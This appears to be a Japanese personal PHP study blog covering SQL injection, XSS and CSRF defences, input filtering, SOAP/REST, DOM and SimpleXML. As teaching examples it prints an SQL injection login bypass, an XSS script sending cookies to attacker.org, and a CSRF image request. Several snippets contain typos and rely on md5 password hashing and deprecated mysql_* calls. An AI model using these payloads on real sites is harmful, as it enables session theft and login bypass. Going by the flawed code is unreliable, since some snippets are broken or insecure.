@blog.justoneplanet.info

日々勉強

PHP Database Security(データベースのセキュリティ)

すなわちSQLインジェクションのための防御策である。

■SQLインジェクションの実例

以下のログインフォームで考える。

<form method="post" action="login.php">
Name: <input type="text" name="name" />
Password: <input type="password" name="password" />
<input type="submit" />
</form>

以下のコードで存在するユーザかどうか、DBに問い合わせて検証する。

<?php
$password = md5($_POST['password']);
$sql = "SELECT * FROM `user` WHERE `name` = '{$_POST['name']}' AND `password` = '{$password}'";
?>

一見、何の問題も無いようだが、Nameに「1′ OR 1 = 1 –」とすると以下のSQL文を実行することになる。

SELECT * FROM `user` WHERE `name` = '1' OR 1 = 1 --' AND `password` = 'password_str'

「–」以降は改行コードまで全てコメントとみなされ、条件「`name` = ‘1’」は殆ど成立しないが、条件「1 = 1」が常に成立し、全てのユーザデータが返ることになる。従って、アルゴリズムにもよるが、ログインが常にできてしまう。

対策1

以下のように、プリペアドステートメントを用いる。

<?php
try {
    $dsn = 'mysql:host=localhost;dbname=db';
    $dbh = new PDO($dsn, DB_USER, DB_PASS);
    $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    $dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES, true);
}
catch(PDOException $e){
    //code
}
$password = md5($_POST['password']);
$sql = "SELECT * FROM `user` WHERE `name` = ? AND `password` = ?";
$stmt = $dbh->prepare($sql);
$stmt->execute(array(
    $_POST['name'],
    $pasword
));
$result = $stmt->fetchAll();
?>

対策2

以下のように、エスケープ処理を忘れずに行う。

$dbh = mysql_connect(DB_HOST, DB_USER, DB_PASS);
mysql_select_db(DB_NAME, $dbh);
$password = md5($_POST['password']);
$name = mysql_real_escape_string($_POST['name']);
$sql = "SELECT * FROM `user` WHERE `name` = '{$name}' AND `password` = '{$password}'";

但し、ログインフォームなので大概において英数字のユーザ名なのでフィルタリングすることをお勧めする。

PHP Website Security(ウェブサイトのセキュリティ)

■なりすまし

以下のようなフォームがある場合を考える。

<form method="post" action="register.php">
Name: <input type="text" name="name" maxlength="10" />
Password: <input type="password" name="password" maxlength="10" />
Gender:
<select name="gender">
<option>male</option>
<option>female</option>
</select>
<input type="submit" />
</form>

攻撃者はこのフォームを利用して攻撃するとは限らない。従って、以下のようなHTML上の制限は攻撃者に対しては何の防御策にもならない。

  • maxlengthによる文字数の制限
  • selectボックスの選択肢による制限

上述は例にすぎない。つまり攻撃者は、「任意のフォーム要素」に「任意の値」を制限無く常に送信することができる。従って、register.phpはそのような前提を踏まえてプログラミングしなければならない。攻撃用フォームは全く別のURLに設置しregister.phpにデータを送信するだけで作れてしまうのだ。

対策

  • サーバ側でフィルタリングを徹底的に行う

リファラーをチェックしたり、ワンタイムトークンを使ったりすれば攻撃の敷居はわずかに高くなるが、決定的な対策とはいえない。

■クロスサイトスクリプティング

もっとも有名な攻撃手法の一つでありXSSと略して呼ばれる。以下のようなフォームの場合を考える。

<form method="post" action="register.php">
Name: <input type="text" name="name" />
<input type="submit" />
</form>

上述のデータを以下のプログラムで受け取る。

<p>入力したお名前はコチラです。</p>
<?php
print($_POST['name']);
?>

一見すると、ユーザの入力を表示しているだけに思えるが、「名前」に以下の文字列が入力された場合に脆弱性が露呈する。

<script type="text/javascript">
document.location = 'http://attacker.org/exploit.php?data=' + document.cookie;
</script>

上述のコードを入力されると、結果的にクッキーを攻撃者のサイトに送信されてしまう。もしも、このアプリケーションが不特定多数の人に任意のユーザの入力を表示する掲示板のようなシステムの場合、全てのユーザのクッキーが攻撃者のサイトに送信される。

対策

以下のようにユーザ入力をHTML表示させる場合は、適切にサニタイジングを行う。

<p>入力したお名前はコチラです。</p>
<?php
print(htmlentities($_POST['name'], ENT_QUOTES, 'utf-8'));
?>

但し、htmtentities関数の第二引数はデフォルトでENT_COMPATになっており、シングルクォートがエスケイプされないので、ENT_QUOTESと必ず記述する。(属性値への挿入に耐性をもたせる)

■クロスサイトリクエストフォージェリーズ

簡単に説明すると以下のような脆弱性である。

  1. Aさんがショッピングサイトにログインし買い物をする
  2. Aさんがログアウトせずに、そのままネットサーフィンをする
  3. Aさんが攻撃者の仕掛けたリンクを偶然クリックする(もしくはimageタグのsrc属性などで強制的にリクエストさせられる)

以下のように、リンクにはショッピングサイトの(5000万円の)家の支払い画面のURLが記述されている

<img src="http://amazon.com/goods.php?goods=house&price=50000000&order=ok" />
  1. Aさんの意志に関係なく、5000万円の支払い契約が成立する
  2. Aさんは破産する

一意のURLに紐付けられているアプリケーション側の処理が利用者の意図していない場面で行われてしまうということになる。

対策

<?php
session_start();
session_regenerate_id(true);
$token = md5(uniqid(rand(), true));
$_SESSION['token'] = $token;
?>
<form method="post" action="register.php">
<input type="hidden" name="token" value="<?php print($token); ?>">
</form>
各関数について
bool session_start(void)

セッションをスタートする。セッションを用いる場合は全ての出力より前にコールする必要がある。

bool session_regenerate_id([bool $delete_old_session=false])

現在のセッションIDを新しいものに置き換える。セッションIDの固定化を防ぐ目的がある。PHP5.1.0以降では、引数にtrueを設定すると古いセッションファイルを削除する。

string md5(string $str[, bool $raw_out_put=false])

与えられた文字列を元に、md5ハッシュ値を返す。

string uniqid([string $prefix=”[, bool $more_entropy=false])

一意なIDを取得する。第二引数にtrueを設定することにより、より均一になる。

int rand(void)

乱数を生成する。この場合は不要だが、最小値と最大値を決めたい場合は、第一引数と第二引数に記述する。

PHP Security Concepts and Practices(セキュリティにおける概念と実践)

■全てのユーザ入力は汚れていると思え

この位に考えてこそ、セキュアなアプリケーションが作れる。セッションを除く全てのスーパーグローバル変数はユーザ側から編集が可能であり、悪意のあるコードが挟まれる可能性がある。

■ホワイトリスト方式とブラックリスト方式

ホワイトリスト方式 ブラックリスト方式
制限
攻撃耐性

ホワイトリスト方式は、プログラマーが用意したセキュアな形式の(リストの)データがアプリケーションで使われるので、ブラックリスト方式よりも安全であるといえる。ブラックリスト方式は未知のインプット形式が攻撃に使われる可能性があるので、フィルタリングの際には注意が必要である。

■フィルタリング

以下のようなフォームを考える。

<form method="post" action="register.php">
Name: <input type="text" name="name" />
Password: <input type="password" name="password" />
Gender:
<select name="gender">
<option>male</option>
<option>female</option>
</select>
<input type="submit" />
</form>

上述の場合、ユーザ入力のフィルタリングをするには以下のようにする。

<?php
$genders = array('male', 'female');
$clean = array();
if(ctype_alpha($_POST['name'])){
    $clean['name'] = $_POST['name'];
}
if(ctype_alnum($_POST['password'])){
    $clean['password'] = $_POST['passwprd'];
}
if(in_array($_POST['gender'], $genders, true)){
    $clean['gender'] = $_POST['gender'];
}
?>

英語圏のアプリケーションの場合は上述のようなコードで構わないが、日本語の名前が入力される場合は不適当なコードとなる。また、パスワードは英数字を想定している。さらに、セレクトボックスから想定外のデータが飛んでくることも考えられるため、プログラム側で用意した配列と比較して、データの妥当性を調べる。

各メソッドについて

bool ctype_alpha(string $text)
文字列が[a-zA-Z]の文字で構成されているかどうかをbool値で返す。
bool ctype_alnum(string $text)
文字列が[a-zA-Z0-9]の文字で構成されているかどうかをbool値で返す。

■出力のエスケープ

ページ表示用変数のエスケープ

以下のように変数名にhtmlを用いてハッシュ構造とすれば、エスケープし忘れた変数を表示に使用してしまうような人為的ミスを回避できるかもしれない。

<?php
$html = array();
$html['message'] = htmlentities($_POST['message'], ENT_QUOTES/*, 'utf-8'*/);
?>

データベース用のエスケープ

以下のように、*_escape_string関数を使っても良いが全ての変数を忘れずにエスケープしなくてはならない。また、セキュリティの観点とは異なるが、データベースを変更する際にコードを書き換える手間が増える。

<?php
$dbh = mysql_connect(DB_HOST, DB_USER, DB_PASS);
mysql_select_db(DB_NAME, $dbh);
$name = mysql_real_escape_string($_POST['name']);
$age = mysql_real_escape_string($_POST['age']);
$result = mysql_query("INSERT INTO `tbl`(`name`, `age`) VALUES('$name', '$age')");
?>

但し、エスケープし忘れるリスクを減らすため、以下のようにプリペアドステートメントをできる限り使用する。プリペアドステートメントを用いれば常にエスケープされる。

<?php
try {
    $dsn = 'mysql:host=localhost;dbname=db';
    $dbh = new PDO($dsn, DB_USER, DB_PASS);
    $dbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
    $dbh->setAttribute(PDO::EMULATE_PREPARE, true);
}
catch(PDOException $e){
    print($e->getMessage());
}
$stmt = $dbh->prepare("INSERT INTO `tbl`(`name`, `age`) VALUES(?, ?)");
$stmt->execute(array($_POST['name'], $_POST['age']));
?>

OSコマンド用のエスケープ

escapeshellcmdなどの関数が存在するが、OSのコマンドを使うようなアプリケーションの設計を見直したほうが良いか、必ず確認すること。OSのコマンドを叩かれるのは非常に大きなリスクを伴う。

■レジスターグローバル

迷わずoffにするべきである。onでないと動かないアプリケーションは相当古いものであり、使用するべきではない可能性が非常に高い。

初期化されていない変数を使った場合に、プログラム実行時からその変数に値が格納されているという状態がアプリケーションの脆弱性になり得るために、PHP4.2.0以降デフォルトではoffにされた。PHP6ではこのディレクティブ自体が消滅する予定である。

PHP SOAP and REST at Web Service(ウェブサービスでのSOAPとREST)

■SOAP

自サーバにない(所有していない)プログラムのメソッドを呼び出す、リモートプロシージャコール(遠隔呼び出し)のためのプロトコル。相手側がアクセス可能にしているメソッドならばアクセスが可能である。但し、PHPでSOAPを使用するには、インストール時に–enable-soapされていなければならない。

ウェブサービスへのアクセス

以下のようにするとGoogle検索のウェブサービスを利用することができる。

<?php
try {
    $client = new SoapClient('http://api.google.com/GoogleSearch.wsdl');
    $results = $client->doGoogleSearch($key, $query, 0, 10, false, '', false, '', '', '');
    foreach($results->resultElements as $result){
        print('<a href=">' . htmlentities($result->URL, ENT_QUOTES) . '">');
        print(htmlentities($result->title, ENT_COMPAT));
        print('</a>');
    }
}
catch(SoapFault $e){
    $e->getMessage();
}
?>
SoapClientについて
  • Googleに提供されたWSDLファイルに基づきSOAPクライアントを生成する
  • SoapClientは失敗すると例外をスローする
WSDLについて
  • WSDLファイルとは、「提供されている場所」や「メッセージの形式」「プロトコル」「メソッド」など、サービスの具体的内容が記述されている
  • WSDLファイルを使用しない場合は、SoapClientの第一引数にnullを、第二引数でウェブサービスのエントリーポイントのURIを指定しなければならない

デバッグ

SOAPクライアントは、SOAPサーバに送受信したメッセージを用いてデバッグするために特別なメソッドを備えている。但し、使用するためにはSoapClientの第二引数でtraceを1に設定しなければならない。以下のようにすると、生の通信を見ることができる。

<?php
$cleint = new SoapClient(
    'http://api.google.com/GoogleSearch.wsdl',
    array(
        'trace' => 1
    )
);
$results = $client->doGoogleSearch($key, $query, 0, 10, false, '', false, '', '', '');
print($results->__getLastRequestHeaders());
print($result->__getLastRequest());
/*
POST /search/beta2 HTTP/1.1
Host: api.google.com
Connection: Keep-Alive
User-Agent: PHP SOAP 0.1
Connect-Type: text/xml; charset=utf-8
SOAPAction: "url:GoogleSearchAction"
Content-Length: 900

<?xml version="1.0" encoding="UTF-8"?>
...

*/
?>

SOAPサーバの作り方

以下のように、SOAPサーバの挙動を定義する。

<?php
class MySoapServer {
    public function getMessage(){
        return 'Hello, World!';
    }
    public function addNumbers($num1, $num2){
        return (int)$num1 + (int)$num2;
    }
}
?>

以下のように、定義したクラスを実際にSoapServerとして設定する。

<?php
require_once('MySoapServer.class.php');
$server = new SoapServer(
    null,
    array(
        'uri' => 'http://sample.org/soap/server'
    )
);
$server->setClass('MySoapServer');
$server->handle();
?>

以上のような場合、クライアント側のコードは以下のようになる。

<?php
$client = new SoapClient(
    null,
    array(
        'location' => 'http://sample.org/soap/server/server.php',
        'uri'        => 'http://sample.org/soap/server/',
    )
);
print($client->getMessage());//Hello, World!
print($client->addNumbers(1,8));//9
?>

■REST

RESTはプロトコルではなく、ウェブサービスの設計思想の一つである。個々のリソースはURIにおいて参照することができる。

<?php
$user = 'john';
$pass = 'password';
$tag = htmlentities($_POST['tag'], ENT_QUOTES);
$req = "https://{$user}:{$pass}@api.del.icio.us/v1/posts/all?tag={$tag}";

$bookmarks = new SimpleXMLElement($req, null, true);
foreach($bookmarks as $bookmark){
    print('<a href="' . htmlentities($bookmark['href'], ENT_QUOTES) . '">');
    print(htmlentities($bookmark['description'], ENT_COMPAT));
    print('</a>');
}
?>

PHP DOM

以下のXMLを使用してサンプルコードを解説する。

<?xml version="1.0"?>
<library xmlns:lib="http://sample.com/library">
    <book isbn="0111222333">
        <lib:title>She sells seashells</lib:title>
        <author>Emily</author>
        <publisher>store</publisher>
    </book>
    <book isbn="0123456789">
        <title>Eight apes ate eight apples</title>
        <author>John</author>
        <publisher>shop</publisher>
    </book>
    <book isbn="9876543210">
        <title>Strike</title>
        <author>Mike</author>
        <publisher>shop</publisher>
    </book>
    <book isbn="1234567890">
        <title>Shine</title>
        <author>Jack</author>
        <publisher>store</publisher>
    </book>
</library>

■読込

ファイルパスを指定

<?php
$dom = new DomDocument();
$dom->load('test.xml');
?>

文字列をDOMとして読込

<?php
$dom = new DomDocument();
$dom->loadXML($str);
?>

HTMLファイルとして読込

<?php
$dom = new DomDocument();
$dom->loadHTMLFile('test.html');
?>

HTMLとして読込

<?php
$dom = new DomDocument();
$dom->loadHTML($str);
?>

各メソッドについて

ファイルからの読込 文字列からの読込
XML DomDocument::load DomDocument::loadXML
HTML DomDocument::loadHTMLFile DomDocument::loadHTML

■保存

ファイルへの保存

<?php
$dom = new DomDocument();
$dom->load('test.xml');
if($is_xhtml){
    $dom->save('test.xml');
}
else{
    $dom->saveHTMLFile('test.html');
}
?>

データとして格納

<?php
$dom = new DomDocument();
$dom->load('test.xml');
if($is_xhtml){
    $data = $dom->saveXML();
}
else{
    $data = $dom->saveHTML();
}
?>

各メソッドについて

ファイルに保存 データとして返す
XML DomDocument::save DomDocument::saveXML
HTML DomDocument::saveHTMLFile DomDocument::saveHTML

■DOMにおけるXPath

以下のようにDomXPathオブジェクトを通して、DomDocumentオブジェクトに対するxpathを実行する。

<?php
$dom = new DomDocument();
$dom->load('test.xml');
$xpath = new DomXPath($dom);
$result = $xpath->query('/library/book/title/text()');
foreach($result as $title){
    print($title->data);
}
/*
Eight apes ate eight apples
Strike
Shine
*/
?>

以下のように、名前空間を使うこともできる。

<?php
$dom = new DomDocument();
$dom->load('test.xml');
$xpath = new DomXPath($dom);
$xpath->registerNamespace('lib', 'http://sample.com/library');
$result = $xpath->query('//lib:title/text()');
foreach($result as $book){
    print($book->data);
}
/*
She sells seashells
*/
?>

■XMLドキュメントの操作

以下のようにして、要素を追加することができる。documentElementはドキュメントのルートの要素を示す。

<?php
$dom = new DomDocument();
$dom->load('test.xml');

$book = $dom->createElement('book');
$book->setAttribute('isbn', '0123456789');

$title = $dom->createElement('title');
$txt = $dom->createTextNode('PHP');

$title->appendChild($txt);
$book->appendChild($title);

$author = $dom->createElement('author', 'Jane');
$book->appendChild($author);

$publisher = $dom->createElement('publisher', 'amazon');
$book->appendChild($publisher);

$dom->documentElement->appendChild($book);
/*
<?xml version="1.0" encoding="utf-8"?>
<library>
    <book isbn="0111222333">
        <title>She sells seashells</title>
        <author>Emily</author>
        <publisher>store</publisher>
    </book>
    <book isbn="0123456789">
        <title>Eight apes ate eight apples</title>
        <author>John</author>
        <publisher>shop</publisher>
    </book>
    <book isbn="9876543210">
        <title>Strike</title>
        <author>Mike</author>
        <publisher>shop</publisher>
    </book>
    <book isbn="1234567890">
        <title>Shine</title>
        <author>Jack</author>
        <publisher>store</publisher>
    </book>
<book isbn="0123456789"><title>PHP</title><author>Jane</author><publisher>amazon</publisher></book></library>
*/
?>

各メソッドについて

DomElement DomDocument::createElement(string $name[, string $value])
新しい要素ノードを生成する。第二引数で要素の値を指定することもできる
DomAttr DomElement::setAttribute(string $name, string $value)
新しい属性を追加する
DomNode DomNode::appendChild(DomNode $node)
子要素を追加する
DomText DomNode::createTextNode(string $content)
新しいテキストノードを生成する

個人的にこのあたりはJavaScriptで馴染んでいるので覚えやすい。

■要素の移動

特定の要素の前に移動する場合は、以下のようにDomNode::insertBeforeメソッドを使用する。

<?php
$dom = new DomDocument();
$dom->load('test.xml');
$xpath = new DomXPath($dom);
$result = $xpath->query('/library/book');
$xpath->item(1)->paentNode->insertBefore($result->item(1), $result->item(0));
print($dom->saveXML());
/*
<?xml version="1.0" encoding="utf-8"?>
<library>
    <book isbn="0123456789">
        <title>Eight apes ate eight apples</title>
        <author>John</author>
        <publisher>shop</publisher>
    </book>
    <book isbn="0111222333">
        <title>She sells seashells</title>
        <author>Emily</author>
        <publisher>store</publisher>
    </book>  
    <book isbn="9876543210">
        <title>Strike</title>
        <author>Mike</author>
        <publisher>shop</publisher>
    </book>
    <book isbn="1234567890">
        <title>Shine</title>
        <author>Jack</author>
        <publisher>store</publisher>
    </book>
</library>
*/
?>

要素の最後尾に移動する場合は、以下のようにDomNode::appendChildメソッドを使用する。

<?php
$dom = new DomDocument();
$dom->load('test.xml');

$xpath = new DomXPath($dom);
$result = $xpath->query('/library/book');
$result->item(1)->parentNode->appendChild($result->item(0));
print($dom->saveXML());
/*
<?xml version="1.0" encoding="utf-8"?>
<library>
    <book isbn="0123456789">
        <title>Eight apes ate eight apples</title>
        <author>John</author>
        <publisher>shop</publisher>
    </book>
    <book isbn="9876543210">
        <title>Strike</title>
        <author>Mike</author>
        <publisher>shop</publisher>
    </book>
    <book isbn="1234567890">
        <title>Shine</title>
        <author>Jack</author>
        <publisher>store</publisher>
    </book>
    <book isbn="0111222333">
        <title>She sells seashells</title>
        <author>Emily</author>
        <publisher>store</publisher>
    </book>
</library>
*/
?>

但し、上述のメソッドはノードをコピーしない。従って、複製を挿入したい場合は、DomNode::cloneNodeメソッドを使用し、複製してから挿入しなければならない。

<?php
$dom = new DomDocument();
$dom->load('test.xml');

$xpath = new DomXPath($dom);

$result = $xpath->query('/library/book');
$elm = $result->item(0)->cloneNode();
$result->item(1)->parentNode->appendChild($elm);
print($dom->saveXML());
/*
<?xml version="1.0" encoding="utf-8"?>
<library>
    <book isbn="0111222333">
        <title>She sells seashells</title>
        <author>Emily</author>
        <publisher>store</publisher>
    </book>
    <book isbn="0123456789">

        <title>Eight apes ate eight apples</title>
        <author>John</author>
        <publisher>shop</publisher>
    </book>
    <book isbn="9876543210">
        <title>Strike</title>
        <author>Mike</author>

        <publisher>shop</publisher>
    </book>
    <book isbn="1234567890">
        <title>Shine</title>
        <author>Jack</author>
        <publisher>store</publisher>
    </book>

<book isbn="0111222333"/></library>
*/
?>

各メソッドについて

DomNode DomNode::insertBefore(DomNode $node[, DomNode $refnode])
第一引数で指定したノードが、第二引数で指定したノードの前に挿入される。
DomNode DomNode::appendChild(DomNode $node)
DomNodeの最後尾に、引数で指定したノードを挿入する。
DomNode DomNode::cloneNode(bool $recursive=false)
DomNodeを複製する。引数にtrueを指定すると子ノードまで含めた複製が生成される。デフォルトはfalse。

■要素の削除

要素を削除するには、以下のようにDomNode::removeChildメソッドを使用する。また、属性を削除するには、DomNode::removeAttributeメソッド使用する。さらに、要素内のテキストを削除したい場合は、DomCharacterData::deleteDataメソッドを使用する。

<?php
$dom = new DomDocument();
$dom->load('test.xml');

$xpath = new DomXPath($dom);
$result = $xpath->query('/library/book');

$result->item(0)->parentNode->removeChild($result->item(0));
$result->item(1)->removeAttribute('isbn');

$result = $xpath->query('/library/book/publisher/text()');
$result->item(0)->deleteData(0, $result->item(0)->length);
print($dom->saveXML());
/*
<?xml version="1.0" encoding="utf-8"?>
<library>
    <book>
        <title>Eight apes ate eight apples</title>
        <author>John</author>
        <publisher></publisher>
    </book>
    <book isbn="9876543210">
        <title>Strike</title>
        <author>Mike</author>
        <publisher>shop</publisher>
    </book>
    <book isbn="1234567890">
        <title>Shine</title>
        <author>Jack</author>
        <publisher>store</publisher>
    </book>
</library>
*/
?>

各メソッドについて

DomNode DomNode::removeChild(DomNode $node)
DomNode内から、引数で指定したノードを削除する。
bool DomElement::removeAttribute(string $name)
DomNodeの、引数で指定した属性を削除する。
void DomCharacterData::deleteData(int $offset, int $count)
DomCharacterDataを対象として、第一引数で指定したオフセット値から、第二引数で指定した文字数分削除する。

■DOMにおける名前空間の扱い方

以下のように、要素や属性に名前空間を指定した記述をした後で、名前空間とそのURIを示す属性を要素に追加することで、名前空間を扱うことができる。

<?php
$dom = new DomDocument();
$node = $dom->createElement('ns1:somenode');
$node->setAttribute('ns2:someattribute', 'somevalue');
$node2 = $dom->createElement('ns3:anothernode');
$node->appendChild($node2);

$node->setAttribute('xmlns:ns1', 'http://sample.org/ns1');
$node->setAttribute('xmlns:ns2', 'http://sample.org/ns2');
$node->setAttribute('xmlns:ns3', 'http://sample.org/ns3');

$dom->appendChild($node);
print($dom->saveXML());
/*
<?xml version="1.0"?>
<ns1:somenode ns2:someattribute="somevalue" xmlns:ns1="http://sample.org/ns1" xmlns:ns2="http://sample.org/ns2" xmlns:ns3="http://sample.org/ns3">
    <ns3:anothernode/>
</ns1:somenode>
*/
?>

但し、以下のようにDomNode::createElementNSメソッドや、DomNode::setAttributeNSを使用すると、自ノードと親ノードに名前空間とそのURIを示す属性が自動的に付加される。

<?php
$dom = new DomDocument();

$node = $dom->createElementNS('http://sample.org/ns1', 'ns1:somenode');
$node->setAttributeNS('http://sample.org/ns2', 'ns2:someattribute', 'somevalue');

$node2 = $dom->createElementNS('http://sample.org/ns3', 'ns3:anothernode');
$node3 = $dom->createElementNS('http://sample.org/ns1', 'ns1:someothernode');

$node->appendChild($node2);
$node->appendChild($node3);

$dom->appendChild($node);

print($dom->saveXML());
/*
<?xml version="1.0"?>
<ns1:somenode xmlns:ns1="http://sample.org/ns1" xmlns:ns2="http://sample.org/ns2" xmlns:ns3="http://sample.org/ns3" ns2:someattribute="somevalue">
    <ns3:anothernode xmlns:ns3="http://sample.org/ns3"/>
    <ns1:someothernode/>
</ns1:somenode>
*/
?>

出力されるXMLは若干違うものの、後者のコードの方が短くシンプルにはなる。

■SimpleXMLとの相互変換

SimpleXMLからDOMへの変換

以下のように、dom_import_simplexml関数を使用してSimpleXMLからDOMへ変換が行える。

<?php
$xml = new SimpleXMLElement('test.xml', null, true);
$node = dom_import_simplexml($xml);

$dom = new DomDocument();
$dom->importNode($node, true);
$dom->appendChild($node);

print($dom->saveXML());
?>

DOMからSimpleXMLへの変換

以下のように、simplexml_import_dom関数を使用してDOMからSimpleXMLへ変換が行える。

<?php
$dom = new DomDocument();
$dom->load('test.xml');
$xml = simplexml_import_dom($dom);
print($xml->asXML());
?>

PHP SimpleXML

以下のXMLを使用してサンプルコードを解説する。

<?xml version="1.0"?>
<library>
    <book isbn="0111222333">
        <title>She sells seashells</title>
        <author>Emily</author>
        <publisher>store</publisher>
    </book>
    <book isbn="0123456789">
        <title>Eight apes ate eight apples</title>
        <author>John</author>
        <publisher>shop</publisher>
    </book>
    <book isbn="9876543210">
        <title>Strike</title>
        <author>Mike</author>
        <publisher>shop</publisher>
    </book>
    <book isbn="1234567890">
        <title>Shine</title>
        <author>Jack</author>
        <publisher>store</publisher>
    </book>
</library>

■XMLドキュメントのパース

  • 対応しているXMLのバージョンは1.0(1.1は非対応)
  • パースに失敗すると警告を発する
  • ドキュメントをパースするときは、SimpleXMLElementオブジェクトを生成する必要がある
<?php
$xml = simplexml_load_file('doc/library.xml');
?>

上述のコードは以下のコードと同じ働きをする。

<?php
$doc = file_get_contents('doc/library.xml');
$xml = simplexml_load_string($doc);
?>

オブジェクト指向型のアプローチ

以下のようにSimpleXMLElementクラスを使って、アブじぇ句と指向型のアプローチを取ることもできる。

<?php
$xml = new SimpleXMLElement('doc/library.xml', null, true);
?>

上述のコードは以下のコードと同じ働きをする。

<?php
$doc = file_get_contents('doc/library.xml');
$xml = new SimpleXMLElement($doc);
?>

個人的にはオブジェクト指向型のアプローチの方がコードがスッキリして好きだ。

SimpleXMLElement(string $dat[, int $options[, bool $flag_uri[, string $namespace[, bool $is_prefix]]]])
$dat
XML文字列。URLで指定する場合は、第三引数を「true」にしなければならない
$options
libxmlに渡すパラメータ。用途にもよるが、「null」を渡して使用することが多い
$flag_uri
第一引数がURLの場合は、「true」をセットしなくてはならない

■要素と属性へのアクセス

各要素にアクセスするには「->」を使用し、属性にアクセスするためには配列リテラルを使用する。

<?php
$xml = new SimpleXMLElement('doc/library.xml', null, true);
foreach($xml->book as $book){
    print($book['isbn'] . PHP_EOL);
    print($book->title . PHP_EOL);
    print($book->author . PHP_EOL);
    print($book->publisher . PHP_EOL);
}
/*
0111222333
She sells seashells
Emily
store
-----
0123456789
Eight apes ate eight apples
John
shop
-----
9876543210
Strike
Mike
shop
-----
1234567890
Shine
Jack
store
-----
*/
?>

但し、上述のコードには「子要素や属性の名前を知っていなければならない」という欠点がある。従って、以下のコードのように、要素名や属性名を取得するメソッドを使う方が良い。

<?php
$xml = new SimpleXMLElement('doc/library.xml', null, true);
foreach($xml->children() as $child){
    print($child->getName() . PHP_EOL);
    foreach($child->attributes() as $attr){
        print("\t" . $attr->getName() . ': ' . $attr . PHP_EOL);
    }
    foreach($child->children() as $sub){
        print("\t" . $sub->getName() . ': ' . $sub . PHP_EOL);
    }
    print('-----' . PHP_EOL);
}
/*
book
isbn: 0111222333
title: She sells seashells
author: Emily
publisher: store
-----
book
isbn: 0123456789
title: Eight apes ate eight apples
author: John
publisher: shop
-----
book
isbn: 9876543210
title: Strike
author: Mike
publisher: shop
-----
book
isbn: 1234567890
title: Shine
author: Jack
publisher: store
-----
*/
?>

但し、上述のコードでは深さが特定の場合しか探索できない。深さが不定の場合は、再帰関数やRecursiveIteratorIteratorクラスなどを使用する。

一度値を配列に格納する方法

すぐに出力する場合は上述の方法で問題はないが、配列に要素の文字列を格納する場合はSimpleXMLElementオブジェクトから文字列に変換する。

$data = new SimpleXMLElement($url, null, true);
if($data->getName() === 'rss'){//rss
    foreach($data->channel->item as $i){
        $rv[] = array(
            'title' => ((string)$i->title),
            'link'  => ((string)$i->link)
        );
    }
}
elseif($data->getName() === 'feed'){//atom
    foreach($data->entry as $item){
        $rv[] = array(
            'title' => ((string)$item->title),
            'link'  => ((string)$item->link['href'])
        );
    }
}
各メソッドについて
SimpleXMLElement::children()
指定したノードの子ノードを見つける
SimpleXMLElement::attributes()
属性名をキーとして、指定したノードの属性値の配列を返す
SimpleXMLElement::getName()
要素名、属性名を返す

■XPathクエリ

XPathを使用して特定の要素を抜き出したりするには、以下のように「SimpleXMLElement::xpath」を用いる。

<?php
$xml = new SimpleXMLElement('doc/library.xml', null, true);
$elm = $xml->xpath('/library/book/title');
foreach($eml as $title){
    print($title . PHP_EOL);
}
/*
She sells seashells
Eight apes ate eight apples
Strike
Shine
*/
/*
array(4) {
  [0]=>
  object(SimpleXMLElement)#2 (1) {
    [0]=>
    string(19) "She sells seashells"
  }
  [1]=>
  object(SimpleXMLElement)#3 (1) {
    [0]=>
    string(27) "Eight apes ate eight apples"
  }
  [2]=>
  object(SimpleXMLElement)#4 (1) {
    [0]=>
    string(6) "Strike"
  }
  [3]=>
  object(SimpleXMLElement)#5 (1) {
    [0]=>
    string(5) "Shine"
  }
}
*/
?>
<?php
$xml = new SimpleXMLElement('doc/library.xml', null, true);
$elm = $xml->book[0]->xpath('title');
foreach($elm as $title){
    print($title . PHP_EOL);
}
//She sells seashells
?>

SimpleXMLElement::xpathメソッドのについて

xpathクエリを実行し、結果をSimpleXMLElementオブジェクトとして返す。

■SimpleXMLによるXMLドキュメントの操作

以下のように、PHP5.1.3以降ではSimpleXMLで要素の追加が行えるようになった。

<?php
$xml = new SimpleXMLElement('doc/library.xml', null, true);

$book = $xml->addChild('book');
$book->addAttribute('isbn', '0812550706');
$book->addChild('title', 'She sells seashells');
$book->addChild('author', 'John');
$book->addChild('publisher', 'amazon');

header('Content-type: text/xml');
print($xml->asXML());
/*
<?xml version="1.0" encoding="utf-8"?>
<library>
    <book isbn="0111222333">
        <title>She sells seashells</title>
        <author>Emily</author>
        <publisher>store</publisher>
    </book>
    <book isbn="0123456789">

        <title>Eight apes ate eight apples</title>
        <author>John</author>
        <publisher>shop</publisher>
    </book>
    <book isbn="9876543210">
        <title>Strike</title>
        <author>Mike</author>

        <publisher>shop</publisher>
    </book>
    <book isbn="1234567890">
        <title>Shine</title>
        <author>Jack</author>
        <publisher>store</publisher>
    </book>

<book isbn="0812550706"><title>She sells seashells</title><author>John</author><publisher>amazon</publisher></book></library>
*/
?>

asXMLメソッドはXML文字列を返す。また、引数にファイルパスを指定した場合は、XMLドキュメントとして保存される。但し、既にファイルが存在している場合は、警告なしにファイルが上書きされるので注意が必要である。

要素の削除

SimpleXMLは要素や属性の追加についてのメソッドを持っているが、削除についてのメソッドは存在しない。削除する場合は以下のようにする。

<?php
$xml = new SimpleXMLElement('doc/library.xml', null, true);
$xml->book[0] = null;
/*
<?xml version="1.0" encoding="utf-8"?>
<library>
    <book isbn="0111222333"></book>
    <book isbn="0123456789">
        <title>Eight apes ate eight apples</title>
        <author>John</author>
        <publisher>shop</publisher>
    </book>

    <book isbn="9876543210">
        <title>Strike</title>
        <author>Mike</author>
        <publisher>shop</publisher>
    </book>
    <book isbn="1234567890">
        <title>Shine</title>

        <author>Jack</author>
        <publisher>store</publisher>
    </book>
</library>
*/
?>

但し、この方法は要素内を空にするだけであり、book要素の属性も属性値を空にすることしかできない。もしも、完全に削除したい場合は、DOMへエクスポートする必要がある。以下のようにする。

<?php
$xml = new SimpleXMLElement('doc/library.xml', null, true);
unset($xml->book[0]);
/*
<?xml version="1.0" encoding="utf-8"?>
<library>
    
    <book isbn="0123456789">
        <title>Eight apes ate eight apples</title>
        <author>John</author>
        <publisher>shop</publisher>
    </book>

    <book isbn="9876543210">

        <title>Strike</title>
        <author>Mike</author>
        <publisher>shop</publisher>
    </book>
    <book isbn="1234567890">
        <title>Shine</title>

        <author>Jack</author>
        <publisher>store</publisher>
    </book>
</library>
*/
?>
各メソッドについて
SimpleXMLElement::addChild
